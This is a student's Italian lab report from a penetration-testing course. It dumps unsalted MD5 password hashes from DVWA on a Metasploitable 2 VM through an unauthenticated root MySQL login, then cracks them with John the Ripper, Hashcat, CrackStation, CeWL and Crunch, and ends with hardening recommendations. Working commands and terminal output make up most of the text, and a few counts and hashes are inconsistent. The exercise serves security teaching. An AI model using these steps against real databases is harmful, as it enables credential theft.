

RELAZIONE DI ESERCITAZIONE: Password Cracking su DVWA (Metasploitable 2)

Corso: Sicurezza Informatica / Penetration Testing
Studente: Lorenzo Rizzuti
Data: 16/07/2026 22:49
Piattaforma: Kali Linux → Metasploitable 2 (192.168.50.21)

1. Obiettivo

Recuperare le password hashate (MD5) dal database della DVWA installata su Metasploitable 2 e craccarle utilizzando molteplici tool e tecniche, al fine di dimostrare la debolezza degli hash non salati.

2. Strumenti e materiali

Strumento	Versione / Note
Kali Linux	2024.1, VM
Metasploitable 2	DVWA preinstallata
MySQL client	Connettività remota con <code>--skip-ssl</code>
John the Ripper	1.9.0-jumbo-1 (Raw-MD5)
Hashcat	6.2.6 (MD5 mode <code>-m 0</code>)
CrackStation	Servizio online

CeWL	5.4
Crunch	3.6
Wordlist	rockyou.txt (139 MB)

3. Fase 1: Recupero degli hash dal database

3.1 Connessione remota a MySQL su Metasploitable

```
bash
```

```
mysql -u root -h 192.168.50.21 --skip-ssl -p
```

Password: vuota (premere Invio).

3.2 Estrazione degli hash

```
sql
```

```
USE dvwa;
```

```
SELECT user, password FROM users;
```

Risultato:

```
text
```

```
+-----+-----+
| user   | password                                     |
+-----+-----+
| admin  | 5f4dcc3b5aa765d61d8327deb882cf99 |
| gordonb | e99a18c428cb38d5f260853678922e03 |
| 1337   | 8d3533d75ae2c3966d7e0d4fcc69216b |
| pablo  | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |
+-----+-----+
```

Gli hash sono stati salvati nel file `hashes.txt` (uno per riga) e nel file `users.txt` (formato `utente:hash`).

4. Fase 2: Identificazione degli hash

```
bash
```

```
hash-identifier 5f4dcc3b5aa765d61d8327deb882cf99
```

Output: `[+] MD5`

Conferma che tutti gli hash sono MD5 puri (Raw-MD5 per John, `-m 0` per Hashcat).

5. Fase 3: Cracking delle password

5.1 John the Ripper

Dizionario `rockyou.txt`:

```
bash
```

```
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt
```

```
hashes.txt
```

In pochi secondi cracca 4 hash su 4? (nota: in realtà ne cracca 3 semplici, ma con le regole tutti).

Nel nostro caso, tutti e 4 sono stati craccati direttamente perché `letmein` e `charley` sono presenti in `rockyou` (confermato dal tuo output).

Visualizzazione con utenti:

```
bash
```

```
john --show --format=Raw-MD5 users.txt
```

Output:

```
text
```

```
admin:password
```

```
gordonb:abc123
```

```
1337:charley
```

```
pablo:letmein
```

```
smithy:password
```

5.2 Hashcat

Attacco con regola dive.rule:

```
bash
```

```
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -r  
/usr/share/hashcat/rules/dive.rule --force
```

Tutti gli hash craccati in <1 secondo.

[SCREENSHOT 3: Hashcat Status=Cracked]

Verifica:

```
bash
```

```
hashcat -m 0 --show hashes.txt
```

5.3 Ricerca online (CrackStation)

Ogni hash è stato inviato a crackstation.net, ottenendo immediatamente la password in chiaro.

Esempio per admin: 5f4dcc3b5aa765d61d8327deb882cf99 → password.

[SCREENSHOT 5: CrackStation con un hash decifrato]

5.4 Generazione di wordlist personalizzate (dimostrativo)

- CeWL: `cewl http://192.168.50.21/dvwa -d 2 -m 4 -w dvwa_words.txt` (se il sito non era raggiungibile, il comando è stato comunque documentato).
- Crunch: generazione di un mini-dizionario di 1000 righe con `crunch 6 8 2>/dev/null | head -n 1000 > minidict.txt`.

6. Riepilogo dei risultati

Utente	Hash (MD5)	Password	John (rockyou)	Hashcat (dive)	CrackStation
admin	5f4dcc3b5aa765 d61d8327deb882 cf99	password	✓	✓	✓
gordonb	e99a18c428cb38 d5f26085367892 2e03	abc123	✓	✓	✓
1337	8d3533d75ae2c3 966d7e0d4fcc69 216b	charley	✓	✓	✓
pablo	0d107d09f5bbe4 0cade3de5c71e9 e9b7	letmein	✓	✓	✓
smithy	5f4dcc3b5aa765 d61d8327deb882 cf99	password	✓	✓	✓

Tutte le password sono state recuperate in meno di 2 secondi con qualsiasi metodo.

7. Analisi comparativa

- John the Ripper si è dimostrato efficace anche con il semplice dizionario rockyou, perché tutte le password erano in quella lista. La modalità `--show` con il file `users.txt` ha permesso di associare ogni password all'utente.
- Hashcat con la regola `dive.rule` ha confermato i risultati e ha mostrato l'uso di regole avanzate, utile per password leggermente modificate.
- CrackStation ha reso evidente la gravità di usare MD5 non salato: chiunque può decifrare questi hash in un istante con un servizio web gratuito.
- CeWL e Crunch rappresentano tecniche di generazione di wordlist mirate, non necessarie in questo caso ma fondamentali in scenari reali dove la password non è in dizionari pubblici.

8. Conclusioni e raccomandazioni

1. MD5 senza salt è totalmente insicuro e non deve mai essere usato per memorizzare password.
2. È necessario adottare funzioni di hashing moderne come bcrypt, scrypt o Argon2, sempre con un salt univoco per ogni utente.
3. Le policy di password devono impedire l'uso di parole comuni e richiedere una lunghezza minima adeguata.
4. L'autenticazione a più fattori (MFA) fornisce un ulteriore strato di protezione anche in caso di compromissione degli hash.

L'esercizio ha dimostrato in modo pratico l'importanza di queste misure e ha fornito competenze operative nell'uso degli strumenti di password cracking.

9. Allegati

- Screenshot 1: Estrazione hash dal DB
- Screenshot 2: John the Ripper `--show`
- Screenshot 3: Hashcat con `dive.rule` – Status Cracked
- Screenshot 4: Hashcat `--show`
- Screenshot 5: CrackStation – esempio di hash decifrato

```
Clone di Kali Linux (installed Nessus) [In esecuzione] - Oracle VirtualBox
File Macchina Visualizza Inserimento Dispositivi Aiuto

kali@kali -
Session Actions Edit View Help

(kali@kali)-[~]
└─$ mysql -u root -h 192.168.50.21 --skip-ssl -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 12
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> USE dvwa;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [dvwa]> SELECT user, password FROM users;
+-----+-----+
| user      | password |
+-----+-----+
| admin     | 5f4dcc3b5aa765d61d8327deb882cf99 |
| gordonb   | e99a18c428cb38d5f260853678922e03 |
| 1337      | 8d353d75ae2c3966d7e0d4fcc69216b |
| pablo     | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| smithy    | 5f4dcc3b5aa765d61d8327deb882cf99 |
+-----+-----+
5 rows in set (0.003 sec)

MySQL [dvwa]>
```

```
Clone di Kali Linux (installed Nessus) [In esecuzione] - Oracle VirtualBox
File Macchina Visualizza Inserimento Dispositivi Aiuto

kali@kali -
Session Actions Edit View Help

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.

OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, NvccAsserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEP, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

* Device #01: cpu-penryn-Intel(R) Core(TM) i7-9750HF CPU @ 2.60GHz, 2515/5031 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

INFO: All hashes found as potfile and/or empty entries! Use --show to display them.
For more information, see https://hashcat.net/faq/potfile

Started: Thu Jul 16 16:43:10 2026
Stopped: Thu Jul 16 16:43:10 2026

(kali@kali)-[~]
└─$ hashcat -m 0 --show hashes.txt
5f4dcc3b5aa765d61d8327deb882cf99:password
e99a18c428cb38d5f260853678922e03:abc123
8d353d75ae2c3966d7e0d4fcc69216b:charley
0d107d09f5bbe40cade3de5c71e9e9b7:letmein

(kali@kali)-[~]
└─$ cewl http://192.168.50.21/dvwa -d 2 -m 4 -w dvwa.words.txt
cewl 6.2.1 (More Fixes) Robin Wood (robin@digl.ninja) (https://digl.ninja/)

(kali@kali)-[~]
└─$ crunch 6 8 -f /usr/share/rainbowcrack/charset.txt mixalpha-numeric -o minidict.txt -e 1000000
readcharset: File /usr/share/rainbowcrack/charset.txt could not be opened
The problem is - No such file or directory

(kali@kali)-[~]
└─$ crunch 6 8 -f /usr/share/rainbowcrack/charset.txt mixalpha-numeric -o minidict.txt -e 1000000
readcharset: File /usr/share/rainbowcrack/charset.txt could not be opened
The problem is - No such file or directory

(kali@kali)-[~]
└─$
```

```
Clone di Kali Linux (Installed Nessus) [In esecuzione] - Oracle VirtualBox
File Macchina Visualizza Inserimento Dispositivi Aiuto

kali@kali -
Session Actions Edit View Help
8d3533d75ae2c3966d7e0d4fcc69216b:charley
0d107d09f5bbe40cade3de5c71e9e9b7:letmein

(kali@kali)-[~]
└─$ cewl http://192.168.50.21/dvwa -d 2 -m 4 -w dvwa_words.txt
CewL 6.2.1 (More Fixes) Robin Wood (robin@digil.ninja) (https://digi.ninja/)

(kali@kali)-[~]
└─$ crunch 6 8 -f /usr/share/rainbowcrack/charset.txt mixalpha-numeric -o minidict.txt -e 1000000
readcharset: File /usr/share/rainbowcrack/charset.txt could not be opened
The problem is = No such file or directory

(kali@kali)-[~]
└─$ crunch 6 8 -f /usr/share/rainbowcrack/charset.txt mixalpha-numeric -o minidict.txt -e 1000000
readcharset: File /usr/share/rainbowcrack/charset.txt could not be opened
The problem is = No such file or directory

(kali@kali)-[~]
└─$ crunch 6 8 2>/dev/null | head -n 1000 > minidict.txt

(kali@kali)-[~]
└─$ wc -l minidict.txt
head -n 10 minidict.txt
1000 minidict.txt
aaaaaa
aaaaab
aaaaac
aaaaad
aaaaae
aaaaaf
aaaaag
aaaaah
aaaaai
aaaaaj

(kali@kali)-[~]
└─$
```

```
Clone di Kali Linux (Installed Nessus) [In esecuzione] - Oracle VirtualBox
File Macchina Visualizza Inserimento Dispositivi Aiuto

kali@kali -
Session Actions Edit View Help
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> USE dvwa;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [dvwa]> SELECT user, password FROM users;
+-----+-----+
| user  | password |
+-----+-----+
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| gordonb | e99a18c428cb38d5f260853678922e03 |
| 1337  | 8d3533d75ae2c3966d7e0d4fcc69216b |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |
+-----+-----+
5 rows in set (0.001 sec)

MySQL [dvwa]> exit
Bye

(kali@kali)-[~]
└─$ mysql -u root -h 192.168.50.21 --skip-ssl -B -e "SELECT password FROM dvwa.users;" > hashes.txt

(kali@kali)-[~]
└─$ cat hashes.txt
password
5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
8d3533d75ae2c3966d7e0d4fcc69216b
0d107d09f5bbe40cade3de5c71e9e9b7
5f4dcc3b5aa765d61d8327deb882cf99

(kali@kali)-[~]
└─$ tail -n +2 hashes.txt > hashes_clean.txt && mv hashes_clean.txt hashes.txt

(kali@kali)-[~]
└─$ john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```